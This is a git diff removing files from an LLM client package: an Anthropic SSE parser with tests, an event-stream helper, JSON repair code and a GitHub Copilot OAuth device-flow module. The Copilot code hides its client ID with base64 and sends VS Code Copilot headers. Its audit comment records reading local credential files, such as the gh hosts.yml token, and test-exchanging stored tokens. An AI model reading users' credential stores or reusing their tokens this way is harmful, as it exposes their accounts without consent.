if (index < chunks.length) { - controller.enqueue(encoder.encode(chunks[index++])); - } else { - controller.close(); - } - }, - }); - return new Response(stream); -} - -describe("parseAnthropicSSE", () => { - it("yields parsed JSON for known Anthropic events", async () => { - const sse = - "event: message_start\n" + - 'data: {"type":"message_start","message":{"id":"msg_1","role":"assistant","content":[],"model":"claude-3","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":10,"output_tokens":0,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}\n' + - "\n" + - "event: content_block_start\n" + - 'data: {"type":"content_block_start","index":0,"content_block":{"type":"text","text":""}}\n' + - "\n" + - "event: content_block_delta\n" + - 'data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"Hello"}}\n' + - "\n" + - "event: content_block_stop\n" + - 'data: {"type":"content_block_stop","index":0}\n' + - "\n" + - "event: message_delta\n" + - 'data: {"type":"message_delta","delta":{"stop_reason":"end_turn"},"usage":{"input_tokens":10,"output_tokens":1,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}\n' + - "\n" + - "event: message_stop\n" + - 'data: {"type":"message_stop"}\n' + - "\n"; - - const response = createMockResponse([sse]); - const events: unknown[] = []; - for await (const event of parseAnthropicSSE(response)) { - events.push(event); - } - - assert.equal(events.length, 6); - assert.equal((events[0] as any).type, "message_start"); - assert.equal((events[1] as any).type, "content_block_start"); - assert.equal((events[2] as any).type, "content_block_delta"); - assert.equal((events[3] as any).type, "content_block_stop"); - assert.equal((events[4] as any).type, "message_delta"); - assert.equal((events[5] as any).type, "message_stop"); - }); - - it("silently drops unknown events (e.g. OpenAI-style done)", async () => { - const sse = - "event: message_start\n" + - 'data: {"type":"message_start","message":{"id":"msg_1","role":"assistant","content":[],"model":"claude-3","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":10,"output_tokens":0,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}\n' + - "\n" + - "event: done\n" + - "data: [DONE]\n" + - "\n" + - "event: content_block_start\n" + - 'data: {"type":"content_block_start","index":0,"content_block":{"type":"text","text":""}}\n' + - "\n"; - - const response = createMockResponse([sse]); - const events: unknown[] = []; - for await (const event of parseAnthropicSSE(response)) { - events.push(event); - } - - assert.equal(events.length, 2); - assert.equal((events[0] as any).type, "message_start"); - assert.equal((events[1] as any).type, "content_block_start"); - }); - - it("ignores ping events", async () => { - const sse = - "event: message_start\n" + - 'data: {"type":"message_start","message":{"id":"msg_1","role":"assistant","content":[],"model":"claude-3","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":10,"output_tokens":0,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}\n' + - "\n" + - "event: ping\n" + - "data: {}\n" + - "\n" + - "event: message_stop\n" + - 'data: {"type":"message_stop"}\n' + - "\n"; - - const response = createMockResponse([sse]); - const events: unknown[] = []; - for await (const event of parseAnthropicSSE(response)) { - events.push(event); - } - - assert.equal(events.length, 2); - assert.equal((events[0] as any).type, "message_start"); - assert.equal((events[1] as any).type, "message_stop"); - }); - - it("handles chunked SSE data across multiple reads", async () => { - const chunks = [ - "event: message_start\n", - 'data: {"type":"message_start","message":{"id":"msg_1","role":"assistant","content":[],"model":"claude-3","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":10,"output_tokens":0,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}\n\n', - "event: message_stop\n", - 'data: {"type":"message_stop"}\n\n', - ]; - - const response = createMockResponse(chunks); - const events: unknown[] = []; - for await (const event of parseAnthropicSSE(response)) { - events.push(event); - } - - assert.equal(events.length, 2); - assert.equal((events[0] as any).type, "message_start"); - assert.equal((events[1] as any).type, "message_stop"); - }); - - it("handles comment lines", async () => { - const sse = - ": comment line\n" + - "event: message_start\n" + - 'data: {"type":"message_start","message":{"id":"msg_1","role":"assistant","content":[],"model":"claude-3","stop_reason":null,"stop_sequence":null,"usage":{"input_tokens":10,"output_tokens":0,"cache_creation_input_tokens":0,"cache_read_input_tokens":0}}}\n' + - "\n"; - - const response = createMockResponse([sse]); - const events: unknown[] = []; - for await (const event of parseAnthropicSSE(response)) { - events.push(event); - } - - assert.equal(events.length, 1); - assert.equal((events[0] as any).type, "message_start"); - }); -}); diff --git a/packages/pi-ai/src/utils/event-stream.ts b/packages/pi-ai/src/utils/event-stream.ts deleted file mode 100644 index 9498d6dcc..000000000 --- a/packages/pi-ai/src/utils/event-stream.ts +++ /dev/null @@ -1,223 +0,0 @@ -import type { AssistantMessage, AssistantMessageEvent } from "../types.js"; - -/** Known Anthropic SSE event types that we handle. Unknown events are silently dropped. */ -const KNOWN_ANTHROPIC_EVENTS = new Set([ - "message_start", - "message_delta", - "message_stop", - "content_block_start", - "content_block_delta", - "content_block_stop", - "ping", - "error", -]); - -/** - * Parse a raw SSE (Server-Sent Events) stream response into JSON events. - * - * Purpose: give us full control over SSE parsing so that non-Anthropic events - * (e.g. OpenAI-style "done" events injected by proxies) are silently dropped - * instead of corrupting the stream. - * - * Consumer: processAnthropicStream in anthropic-shared.ts. - */ -export async function* parseAnthropicSSE( - response: Response, - signal?: AbortSignal, -): AsyncGenerator { - if (!response.body) { - throw new Error("Attempted to iterate over a response with no body"); - } - - const reader = response.body.getReader(); - const decoder = new TextDecoder(); - let buffer = ""; - let eventName: string | null = null; - let dataLines: string[] = []; - - function flushEvent(): unknown | undefined { - if (eventName === null && dataLines.length === 0) { - return undefined; - } - const data = dataLines.join("\n"); - const name = eventName ?? ""; - eventName = null; - dataLines = []; - - if (name === "ping") { - return undefined; - } - if (name === "error") { - try { - return JSON.parse(data); - } catch { - return undefined; - } - } - if (!KNOWN_ANTHROPIC_EVENTS.has(name)) { - // Silently drop unknown events (e.g. OpenAI-style "done" from proxies) - return undefined; - } - try { - return JSON.parse(data); - } catch { - return undefined; - } - } - - function processLine(line: string): unknown | undefined { - const trimmed = line.trim(); - if (trimmed === "") { - // Empty line means end of an SSE event - return flushEvent(); - } - - if (trimmed.startsWith(":")) { - // Comment line, ignore - return undefined; - } - - const colonIndex = trimmed.indexOf(":"); - if (colonIndex === -1) return undefined; - - const field = trimmed.slice(0, colonIndex); - const value = trimmed.slice(colonIndex + 1).trimStart(); - - if (field === "event") { - eventName = value; - } else if (field === "data") { - dataLines.push(value); - } - return undefined; - } - - try { - while (true) { - if (signal?.aborted) { - return; - } - - const { done, value } = await reader.read(); - if (done) break; - - buffer += decoder.decode(value, { stream: true }); - - let newlineIndex: number; - while ((newlineIndex = buffer.indexOf("\n")) !== -1) { - const line = buffer.slice(0, newlineIndex); - buffer = buffer.slice(newlineIndex + 1); - const event = processLine(line); - if (event !== undefined) { - yield event; - } - } - } - - // Flush remaining buffer as a final line - if (buffer.length > 0) { - const event = processLine(buffer); - if (event !== undefined) { - yield event; - } - } - - // Flush any pending event - const event = flushEvent(); - if (event !== undefined) { - yield event; - } - } finally { - reader.releaseLock(); - } -} - -// Generic event stream class for async iteration -export class EventStream implements AsyncIterable { - private queue: T[] = []; - private waiting: ((value: IteratorResult) => void)[] = []; - private done = false; - private finalResultPromise: Promise; - private resolveFinalResult!: (result: R) => void; - - constructor( - private isComplete: (event: T) => boolean, - private extractResult: (event: T) => R, - ) { - this.finalResultPromise = new Promise((resolve) => { - this.resolveFinalResult = resolve; - }); - } - - push(event: T): void { - if (this.done) return; - - if (this.isComplete(event)) { - this.done = true; - this.resolveFinalResult(this.extractResult(event)); - } - - // Deliver to waiting consumer or queue it - const waiter = this.waiting.shift(); - if (waiter) { - waiter({ value: event, done: false }); - } else { - this.queue.push(event); - } - } - - end(result?: R): void { - this.done = true; - if (result !== undefined) { - this.resolveFinalResult(result); - } - // Notify all waiting consumers that we're done - while (this.waiting.length > 0) { - const waiter = this.waiting.shift()!; - waiter({ value: undefined as any, done: true }); - } - } - - async *[Symbol.asyncIterator](): AsyncIterator { - while (true) { - if (this.queue.length > 0) { - yield this.queue.shift()!; - } else if (this.done) { - return; - } else { - const result = await new Promise>((resolve) => - this.waiting.push(resolve), - ); - if (result.done) return; - yield result.value; - } - } - } - - result(): Promise { - return this.finalResultPromise; - } -} - -export class AssistantMessageEventStream extends EventStream< - AssistantMessageEvent, - AssistantMessage -> { - constructor() { - super( - (event) => event.type === "done" || event.type === "error", - (event) => { - if (event.type === "done") { - return event.message; - } else if (event.type === "error") { - return event.error; - } - throw new Error("Unexpected event type for final result"); - }, - ); - } -} - -/** Factory function for AssistantMessageEventStream (for use by package consumers). */ -export function createAssistantMessageEventStream(): AssistantMessageEventStream { - return new AssistantMessageEventStream(); -} diff --git a/packages/pi-ai/src/utils/hash.ts b/packages/pi-ai/src/utils/hash.ts deleted file mode 100644 index c7d043808..000000000 --- a/packages/pi-ai/src/utils/hash.ts +++ /dev/null @@ -1,17 +0,0 @@ -/** Fast deterministic hash to shorten long strings */ -export function shortHash(str: string): string { - let h1 = 0xdeadbeef; - let h2 = 0x41c6ce57; - for (let i = 0; i < str.length; i++) { - const ch = str.charCodeAt(i); - h1 = Math.imul(h1 ^ ch, 2654435761); - h2 = Math.imul(h2 ^ ch, 1597334677); - } - h1 = - Math.imul(h1 ^ (h1 >>> 16), 2246822507) ^ - Math.imul(h2 ^ (h2 >>> 13), 3266489909); - h2 = - Math.imul(h2 ^ (h2 >>> 16), 2246822507) ^ - Math.imul(h1 ^ (h1 >>> 13), 3266489909); - return (h2 >>> 0).toString(36) + (h1 >>> 0).toString(36); -} diff --git a/packages/pi-ai/src/utils/json-parse.ts b/packages/pi-ai/src/utils/json-parse.ts deleted file mode 100644 index 36caaf0bb..000000000 --- a/packages/pi-ai/src/utils/json-parse.ts +++ /dev/null @@ -1,85 +0,0 @@ -import { parseStreamingJson as nativeParseStreamingJson } from "@singularity-forge/native"; -import { - hasXmlParameterTags, - hasYamlBulletLists, - repairToolJsonWithReport, -} from "./repair-tool-json.js"; - -/** - * Attempts to parse potentially incomplete JSON during streaming. - * Always returns a valid object, even if the JSON is incomplete. - * - * Uses the native Rust streaming JSON parser for performance. - * Falls back to YAML bullet-list repair when the native parser - * returns an empty object from input that contains YAML-style - * bullet lists copied from template formatting (#2660). - * - * @param partialJson The partial JSON string from streaming - * @returns Parsed object or empty object if parsing fails - */ -export function parseStreamingJson( - partialJson: string | undefined, -): T { - if (!partialJson || partialJson.trim() === "") { - return {} as T; - } - if (looksLikeIncompleteObjectValue(partialJson)) { - return {} as T; - } - - // Fast path: try native streaming parser first - const result = nativeParseStreamingJson(partialJson); - - // XML parameter tags can be trapped inside otherwise valid JSON strings, - // so run repair before trusting the native parse result. - if (hasXmlParameterTags(partialJson)) { - try { - return JSON.parse(repairToolJsonWithReport(partialJson).output) as T; - } catch { - // Fall through to the native parser result on incomplete partials - } - } - - // If the native parser returned a non-empty result, use it. - // Only attempt repair when the result is empty AND the input looks like a - // complete malformed object or YAML-shaped map. This avoids inventing - // values for ordinary incomplete streaming chunks. - if ( - result && - typeof result === "object" && - Object.keys(result as object).length === 0 && - shouldAttemptRepair(partialJson) - ) { - try { - return JSON.parse(repairToolJsonWithReport(partialJson).output) as T; - } catch { - // Repair failed — return the empty object from native parser - } - } - - return result; -} - -function looksLikeIncompleteObjectValue(input: string): boolean { - const trimmed = input.trim(); - return trimmed.startsWith("{") && /:\s*$/.test(trimmed); -} - -function shouldAttemptRepair(input: string): boolean { - if (hasXmlParameterTags(input) || hasYamlBulletLists(input)) return true; - - const trimmed = input.trim(); - if (!trimmed) return false; - if ( - (trimmed.startsWith("{") && trimmed.endsWith("}")) || - (trimmed.startsWith("[") && trimmed.endsWith("]")) - ) { - return true; - } - - // Full YAML map/list tool arguments from weaker models. Require a newline - // so normal prose with a colon does not get parsed as a scalar/map. - return ( - /^[A-Za-z_][A-Za-z0-9_-]*\s*:/m.test(trimmed) && trimmed.includes("\n") - ); -} diff --git a/packages/pi-ai/src/utils/oauth/github-copilot.test.ts b/packages/pi-ai/src/utils/oauth/github-copilot.test.ts deleted file mode 100644 index 11ecbdeb0..000000000 --- a/packages/pi-ai/src/utils/oauth/github-copilot.test.ts +++ /dev/null @@ -1,100 +0,0 @@ -import assert from "node:assert/strict"; -import { test } from "vitest"; - -import type { Api, Model } from "../../types.js"; -import { githubCopilotOAuthProvider } from "./github-copilot.js"; -import type { OAuthCredentials } from "./index.js"; - -function makeModel(provider: string, id: string): Model { - return { - id, - name: id, - api: "openai-completions", - provider, - baseUrl: `${provider}:`, - reasoning: false, - input: ["text"], - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0 }, - contextWindow: 128000, - maxTokens: 16384, - }; -} - -function makeCredentials( - overrides: Partial< - OAuthCredentials & { - modelLimits?: Record< - string, - { contextWindow: number; maxTokens: number } - >; - } - > = {}, -) { - return { - type: "oauth" as const, - access: "copilot-token", - refresh: "refresh-token", - expires: Date.now() + 60_000, - ...overrides, - }; -} - -test("githubCopilotOAuthProvider.modifyModels filters unavailable copilot models (#3849)", () => { - const models = [ - makeModel("github-copilot", "gpt-5"), - makeModel("github-copilot", "claude-sonnet-4"), - makeModel("openai", "gpt-4.1"), - ]; - - assert.ok( - githubCopilotOAuthProvider.modifyModels, - "github copilot provider should expose modifyModels", - ); - const modified = githubCopilotOAuthProvider.modifyModels( - models, - makeCredentials({ - modelLimits: { - "gpt-5": { contextWindow: 256000, maxTokens: 32000 }, - }, - }), - ); - - assert.deepEqual( - modified.map((model) => `${model.provider}/${model.id}`), - ["github-copilot/gpt-5", "openai/gpt-4.1"], - ); - - const copilotModel = modified.find( - (model) => model.provider === "github-copilot" && model.id === "gpt-5", - ); - assert.ok(copilotModel, "available copilot model should remain"); - assert.equal(copilotModel.contextWindow, 256000); - assert.equal(copilotModel.maxTokens, 32000); - assert.match(copilotModel.baseUrl, /githubcopilot\.com/); -}); - -test("githubCopilotOAuthProvider.modifyModels keeps all copilot models when limits are unavailable", () => { - const models = [ - makeModel("github-copilot", "gpt-5"), - makeModel("github-copilot", "claude-sonnet-4"), - ]; - - assert.ok( - githubCopilotOAuthProvider.modifyModels, - "github copilot provider should expose modifyModels", - ); - const modified = githubCopilotOAuthProvider.modifyModels( - models, - makeCredentials(), - ); - - assert.equal( - modified.length, - 2, - "lack of limits should not hide every copilot model", - ); - assert.ok(modified.every((model) => model.provider === "github-copilot")); - assert.ok( - modified.every((model) => model.baseUrl.includes("githubcopilot.com")), - ); -}); diff --git a/packages/pi-ai/src/utils/oauth/github-copilot.ts b/packages/pi-ai/src/utils/oauth/github-copilot.ts deleted file mode 100644 index 8184a658e..000000000 --- a/packages/pi-ai/src/utils/oauth/github-copilot.ts +++ /dev/null @@ -1,613 +0,0 @@ -/** - * GitHub Copilot OAuth flow - * - * UPSTREAM AUDIT (2026-05-02): STAY HAND-ROLLED - * - * Candidate: @octokit/auth-oauth-device (v8.0.3) - * Coverage: device-code initiation + authorization_pending/slow_down polling — the - * ~120 LOC in startDeviceFlow + pollForGitHubAccessToken only. - * Why we're not delegating: - * 1. AbortSignal cancellation — the library has no signal/abort support; our - * abortableSleep + signal checks are load-bearing for the login-cancel UX. - * 2. 74% of this file is Copilot-proprietary with no upstream equivalent: - * - copilot_internal/v2/token exchange (refreshGitHubCopilotToken) - * - proxy-ep token parsing / base-URL derivation (getBaseUrlFromToken) - * - Model policy enablement (enableAllGitHubCopilotModels) - * - Model limits fetch (fetchCopilotModelLimits) - * - Enterprise domain normalization (normalizeDomain / getUrls) - * 3. The library would add a dependency + lose abort support for a ~26% LOC - * reduction in a 460-line file — not worth it. - * - * Re-audit trigger: if @octokit/auth-oauth-device adds AbortSignal support AND - * the Copilot-specific surface area shrinks (e.g., models API becomes public SDK). - * - * UPSTREAM AUDIT (2026-05-02): opencode-copilot-auth + three other candidates — STAY HAND-ROLLED - * - * Four packages inspected (full source read for each): - * - * 1. opencode-copilot-auth@0.0.12 (thdxr / ironbay.co; 13.6 kB unpacked; 0 runtime deps; - * latest version 2026-01-11; single maintainer; pre-1.0 with 11 versions since Aug 2025) - * Source: /tmp/package/index.mjs (extracted from tarball) - * Exports: one named export — CopilotAuthPlugin({ client }) — an opencode plugin factory. - * ALL logic is inlined inside that single async function and is NOT separately callable: - * - authorize() [lines 210-299]: device-code initiation + polling loop. Covers our - * startDeviceFlow + pollForGitHubAccessToken. BUT: (a) infinite while(true) loop with - * no expiry deadline (our pollForGitHubAccessToken has Date.now() < deadline guard); - * (b) no AbortSignal support — cannot be cancelled; (c) missing slow_down interval - * back-off (our file handles slow_down by adding 5 s to intervalMs); (d) returns - * { type:"success", refresh, access:"", expires:0 } — defers the copilot-token - * exchange to the loader, not the authorize step. - * - loader() [lines 45-165]: inline copilot_internal/v2/token refresh + expiry check. - * Covers our refreshGitHubCopilotToken. BUT: immediately calls client.auth.set() to - * persist — the storage call cannot be skipped; there is no way to get the token - * without also writing it through opencode's auth API. - * - Does NOT cover: proxy-ep URL parsing (hardcodes api.githubcopilot.com), model - * policy enablement, fetchCopilotModelLimits, or AbortSignal cancellation. - * Net coverage of our 480 LOC: ~30% (device-code dance + token exchange) — below the - * 60% threshold AND the usable subset requires surgery to detach from client.auth.set(). - * Risk factors: pre-1.0, single maintainer, Proprietary license (not MIT/Apache). - * - * 2. copilot-api@0.7.0 (ericc-ch / echristian; 171.5 kB unpacked; 11 deps) - * Source: dist/main.js — starts with #!/usr/bin/env node shebang. - * It is a CLI proxy server (hono + srvx), not a library. Exports: `export { }` (empty). - * All auth code (device flow, copilot_internal/v2/token, refresh loop) is internal to - * the CLI's start command and not callable as a module. Zero reuse possible. - * - * 3. @github/copilot-language-server@1.480.0 (official GitHub; 134 MB unpacked) - * dist/api/types.d.ts exports only ContextProviderApiV1 (a VS Code extension host API - * for injecting prompt context). The package ships a single language-server binary; - * no OAuth functions are exported or accessible programmatically. - * - * 4. @octokit/auth-oauth-device@8.0.3 — already audited above (26% coverage, no AbortSignal). - * - * Conclusion: No candidate reaches the 60% coverage bar. The closest (opencode-copilot-auth) - * covers ~30% and cannot be used without its storage side-effect. STAY HAND-ROLLED. - * - * CREDS-FILE AUDIT (2026-05-02): STAY HAND-ROLLED — device-code dance still needed - * - * Investigated five candidate file sources for a "consume existing token" fast-path: - * 1. ~/.copilot/session-state/*.jsonl — conversation history (type/data/id/timestamp), - * no OAuth tokens of any kind. - * 2. ~/.config/github-copilot/hosts.json and apps.json (Neovim plugin pattern) — - * neither file nor directory exists on this machine. - * 3. ~/.config/gh/hosts.yml — contains a gho_* token (40 chars) scoped to - * repo/gist/read:org etc.; copilot_internal scope absent. Exchange against - * GET api.github.com/copilot_internal/v2/token returns HTTP 404 "Not Found". - * 4. ~/.maschine/copilot-token.json — OUR OWN app's cache (singularity/machine - * CopilotSubscriptionProvider). Has { githubToken, copilotToken, expiresAt, - * refreshIn }. The stored githubToken IS a Copilot-scoped gho_* (40 chars) - * and DOES exchange successfully (HTTP 200, fresh 353-char proxy-ep token). - * However: (a) that file is written by singularity/machine after device-flow - * login there, not by a third-party tool we can rely on; (b) it was last - * written 2025-12-30, so on a fresh machine it won't exist; (c) consuming it - * here would create cross-app token sharing with no clear ownership boundary. - * 5. opencode-copilot-auth@0.0.9 in ~/.bun/install/cache — a bun plugin that - * also does the device-code dance and stores state via opencode's auth.set() - * API; not a plain filesystem file we can read. - * - * Conclusion: No third-party-written creds file exists on this machine that carries - * a Copilot-scoped token. The gh CLI token lacks the required Copilot scope. - * The device-code dance (startDeviceFlow + pollForGitHubAccessToken) is the only - * way to obtain a fresh Copilot-authorized github token for a new login. - * - * Future: if the user installs the Neovim Copilot plugin or VS Code's Copilot - * extension writes ~/.config/github-copilot/apps.json (format: - * { "github.com:Iv1.b507a08c87ecfe98": { "oauth_token": "gho_..." } }), - * we could consume that as a fast-path that skips the device-code dance entirely - * and goes straight to refreshGitHubCopilotToken(). Worth adding then. - */ - -import { getModels } from "../../models.js"; -import type { Api, Model } from "../../types.js"; -import type { - OAuthCredentials, - OAuthLoginCallbacks, - OAuthProviderInterface, -} from "./types.js"; - -type CopilotCredentials = OAuthCredentials & { - enterpriseUrl?: string; - /** Model limits from the /models API, keyed by model ID */ - modelLimits?: Record; -}; - -const decode = (s: string) => atob(s); -const CLIENT_ID = decode("SXYxLmI1MDdhMDhjODdlY2ZlOTg="); - -const COPILOT_HEADERS = { - "User-Agent": "GitHubCopilotChat/0.35.0", - "Editor-Version": "vscode/1.107.0", - "Editor-Plugin-Version": "copilot-chat/0.35.0", - "Copilot-Integration-Id": "vscode-chat", -} as const; - -type DeviceCodeResponse = { - device_code: string; - user_code: string; - verification_uri: string; - interval: number; - expires_in: number; -}; - -type DeviceTokenSuccessResponse = { - access_token: string; - token_type?: string; - scope?: string; -}; - -type DeviceTokenErrorResponse = { - error: string; - error_description?: string; - interval?: number; -}; - -export function normalizeDomain(input: string): string | null { - const trimmed = input.trim(); - if (!trimmed) return null; - try { - const url = trimmed.includes("://") - ? new URL(trimmed) - : new URL(`https://${trimmed}`); - return url.hostname; - } catch { - return null; - } -} - -function getUrls(domain: string): { - deviceCodeUrl: string; - accessTokenUrl: string; - copilotTokenUrl: string; -} { - return { - deviceCodeUrl: `https://${domain}/login/device/code`, - accessTokenUrl: `https://${domain}/login/oauth/access_token`, - copilotTokenUrl: `https://api.${domain}/copilot_internal/v2/token`, - }; -} - -/** - * Parse the proxy-ep from a Copilot token and convert to API base URL. - * Token format: tid=...;exp=...;proxy-ep=proxy.individual.githubcopilot.com;... - * Returns API URL like https://api.individual.githubcopilot.com - */ -function getBaseUrlFromToken(token: string): string | null { - const match = token.match(/proxy-ep=([^;]+)/); - if (!match) return null; - const proxyHost = match[1]; - // Convert proxy.xxx to api.xxx - const apiHost = proxyHost.replace(/^proxy\./, "api."); - return `https://${apiHost}`; -} - -export function getGitHubCopilotBaseUrl( - token?: string, - enterpriseDomain?: string, -): string { - // If we have a token, extract the base URL from proxy-ep - if (token) { - const urlFromToken = getBaseUrlFromToken(token); - if (urlFromToken) return urlFromToken; - } - // Fallback for enterprise or if token parsing fails - if (enterpriseDomain) return `https://copilot-api.${enterpriseDomain}`; - return "https://api.individual.githubcopilot.com"; -} - -async function fetchJson(url: string, init: RequestInit): Promise { - const response = await fetch(url, { - ...init, - signal: init.signal ?? AbortSignal.timeout(30_000), - }); - if (!response.ok) { - const text = await response.text(); - throw new Error(`${response.status} ${response.statusText}: ${text}`); - } - return response.json(); -} - -async function startDeviceFlow(domain: string): Promise { - const urls = getUrls(domain); - const data = await fetchJson(urls.deviceCodeUrl, { - method: "POST", - headers: { - Accept: "application/json", - "Content-Type": "application/json", - "User-Agent": "GitHubCopilotChat/0.35.0", - }, - body: JSON.stringify({ - client_id: CLIENT_ID, - scope: "read:user", - }), - }); - - if (!data || typeof data !== "object") { - throw new Error("Invalid device code response"); - } - - const deviceCode = (data as Record).device_code; - const userCode = (data as Record).user_code; - const verificationUri = (data as Record).verification_uri; - const interval = (data as Record).interval; - const expiresIn = (data as Record).expires_in; - - if ( - typeof deviceCode !== "string" || - typeof userCode !== "string" || - typeof verificationUri !== "string" || - typeof interval !== "number" || - typeof expiresIn !== "number" - ) { - throw new Error("Invalid device code response fields"); - } - - return { - device_code: deviceCode, - user_code: userCode, - verification_uri: verificationUri, - interval, - expires_in: expiresIn, - }; -} - -/** - * Sleep that can be interrupted by an AbortSignal - */ -function abortableSleep(ms: number, signal?: AbortSignal): Promise { - return new Promise((resolve, reject) => { - if (signal?.aborted) { - reject(new Error("Login cancelled")); - return; - } - - const timeout = setTimeout(resolve, ms); - - signal?.addEventListener( - "abort", - () => { - clearTimeout(timeout); - reject(new Error("Login cancelled")); - }, - { once: true }, - ); - }); -} - -async function pollForGitHubAccessToken( - domain: string, - deviceCode: string, - intervalSeconds: number, - expiresIn: number, - signal?: AbortSignal, -) { - const urls = getUrls(domain); - const deadline = Date.now() + expiresIn * 1000; - let intervalMs = Math.max(1000, Math.floor(intervalSeconds * 1000)); - - while (Date.now() < deadline) { - if (signal?.aborted) { - throw new Error("Login cancelled"); - } - - const raw = await fetchJson(urls.accessTokenUrl, { - method: "POST", - headers: { - Accept: "application/json", - "Content-Type": "application/json", - "User-Agent": "GitHubCopilotChat/0.35.0", - }, - body: JSON.stringify({ - client_id: CLIENT_ID, - device_code: deviceCode, - grant_type: "urn:ietf:params:oauth:grant-type:device_code", - }), - }); - - if ( - raw && - typeof raw === "object" && - typeof (raw as DeviceTokenSuccessResponse).access_token === "string" - ) { - return (raw as DeviceTokenSuccessResponse).access_token; - } - - if ( - raw && - typeof raw === "object" && - typeof (raw as DeviceTokenErrorResponse).error === "string" - ) { - const err = (raw as DeviceTokenErrorResponse).error; - if (err === "authorization_pending") { - await abortableSleep(intervalMs, signal); - continue; - } - - if (err === "slow_down") { - intervalMs += 5000; - await abortableSleep(intervalMs, signal); - continue; - } - - throw new Error(`Device flow failed: ${err}`); - } - - await abortableSleep(intervalMs, signal); - } - - throw new Error("Device flow timed out"); -} - -/** - * Refresh GitHub Copilot token - */ -export async function refreshGitHubCopilotToken( - refreshToken: string, - enterpriseDomain?: string, -): Promise { - const domain = enterpriseDomain || "github.com"; - const urls = getUrls(domain); - - const raw = await fetchJson(urls.copilotTokenUrl, { - headers: { - Accept: "application/json", - Authorization: `Bearer ${refreshToken}`, - ...COPILOT_HEADERS, - }, - }); - - if (!raw || typeof raw !== "object") { - throw new Error("Invalid Copilot token response"); - } - - const token = (raw as Record).token; - const expiresAt = (raw as Record).expires_at; - - if (typeof token !== "string" || typeof expiresAt !== "number") { - throw new Error("Invalid Copilot token response fields"); - } - - return { - refresh: refreshToken, - access: token, - expires: expiresAt * 1000 - 5 * 60 * 1000, - enterpriseUrl: enterpriseDomain, - }; -} - -/** - * Enable a model for the user's GitHub Copilot account. - * This is required for some models (like Claude, Grok) before they can be used. - */ -async function enableGitHubCopilotModel( - token: string, - modelId: string, - enterpriseDomain?: string, -): Promise { - const baseUrl = getGitHubCopilotBaseUrl(token, enterpriseDomain); - const url = `${baseUrl}/models/${modelId}/policy`; - - try { - const response = await fetch(url, { - method: "POST", - headers: { - "Content-Type": "application/json", - Authorization: `Bearer ${token}`, - ...COPILOT_HEADERS, - "openai-intent": "chat-policy", - "x-interaction-type": "chat-policy", - }, - body: JSON.stringify({ state: "enabled" }), - signal: AbortSignal.timeout(30_000), - }); - return response.ok; - } catch { - return false; - } -} - -/** - * Enable all known GitHub Copilot models that may require policy acceptance. - * Called after successful login to ensure all models are available. - */ -async function enableAllGitHubCopilotModels( - token: string, - enterpriseDomain?: string, - onProgress?: (model: string, success: boolean) => void, -): Promise { - const models = getModels("github-copilot"); - await Promise.all( - models.map(async (model) => { - const success = await enableGitHubCopilotModel( - token, - model.id, - enterpriseDomain, - ); - onProgress?.(model.id, success); - }), - ); -} - -async function fetchCopilotModelLimits( - token: string, - enterpriseDomain?: string, -): Promise> { - const baseUrl = getGitHubCopilotBaseUrl(token, enterpriseDomain); - try { - const response = await fetch(`${baseUrl}/models`, { - headers: { - Accept: "application/json", - Authorization: `Bearer ${token}`, - "X-GitHub-Api-Version": "2025-05-01", - ...COPILOT_HEADERS, - }, - signal: AbortSignal.timeout(30_000), - }); - if (!response.ok) return {}; - const data = (await response.json()) as { - data?: Array<{ - id: string; - capabilities?: { - limits?: { - max_context_window_tokens?: number; - max_output_tokens?: number; - }; - }; - }>; - }; - const limits: Record = - {}; - for (const m of data.data || []) { - const ctx = m.capabilities?.limits?.max_context_window_tokens; - const out = m.capabilities?.limits?.max_output_tokens; - if ( - typeof ctx === "number" && - typeof out === "number" && - ctx > 0 && - out > 0 && - Number.isFinite(ctx) && - Number.isFinite(out) - ) { - limits[m.id] = { contextWindow: ctx, maxTokens: out }; - } - } - return limits; - } catch { - return {}; - } -} - -/** - * Login with GitHub Copilot OAuth (device code flow) - * - * @param options.onAuth - Callback with URL and optional instructions (user code) - * @param options.onPrompt - Callback to prompt user for input - * @param options.onProgress - Optional progress callback - * @param options.signal - Optional AbortSignal for cancellation - */ -export async function loginGitHubCopilot(options: { - onAuth: (url: string, instructions?: string) => void; - onPrompt: (prompt: { - message: string; - placeholder?: string; - allowEmpty?: boolean; - }) => Promise; - onProgress?: (message: string) => void; - signal?: AbortSignal; -}): Promise { - const input = await options.onPrompt({ - message: "GitHub Enterprise URL/domain (blank for github.com)", - placeholder: "company.ghe.com", - allowEmpty: true, - }); - - if (options.signal?.aborted) { - throw new Error("Login cancelled"); - } - - const trimmed = input.trim(); - const enterpriseDomain = normalizeDomain(input); - if (trimmed && !enterpriseDomain) { - throw new Error("Invalid GitHub Enterprise URL/domain"); - } - const domain = enterpriseDomain || "github.com"; - - const device = await startDeviceFlow(domain); - options.onAuth(device.verification_uri, `Enter code: ${device.user_code}`); - - const githubAccessToken = await pollForGitHubAccessToken( - domain, - device.device_code, - device.interval, - device.expires_in, - options.signal, - ); - const credentials = await refreshGitHubCopilotToken( - githubAccessToken, - enterpriseDomain ?? undefined, - ); - - // Enable all models after successful login - options.onProgress?.("Enabling models..."); - await enableAllGitHubCopilotModels( - credentials.access, - enterpriseDomain ?? undefined, - ); - - // Fetch real model limits from the Copilot API - options.onProgress?.("Fetching model limits..."); - const modelLimits = await fetchCopilotModelLimits( - credentials.access, - enterpriseDomain ?? undefined, - ); - if (Object.keys(modelLimits).length > 0) { - (credentials as CopilotCredentials).modelLimits = modelLimits; - } - - return credentials; -} - -export const githubCopilotOAuthProvider: OAuthProviderInterface = { - id: "github-copilot", - name: "GitHub Copilot", - - async login(callbacks: OAuthLoginCallbacks): Promise { - return loginGitHubCopilot({ - onAuth: (url, instructions) => callbacks.onAuth({ url, instructions }), - onPrompt: callbacks.onPrompt, - onProgress: callbacks.onProgress, - signal: callbacks.signal, - }); - }, - - async refreshToken(credentials: OAuthCredentials): Promise { - const creds = credentials as CopilotCredentials; - const refreshed = await refreshGitHubCopilotToken( - 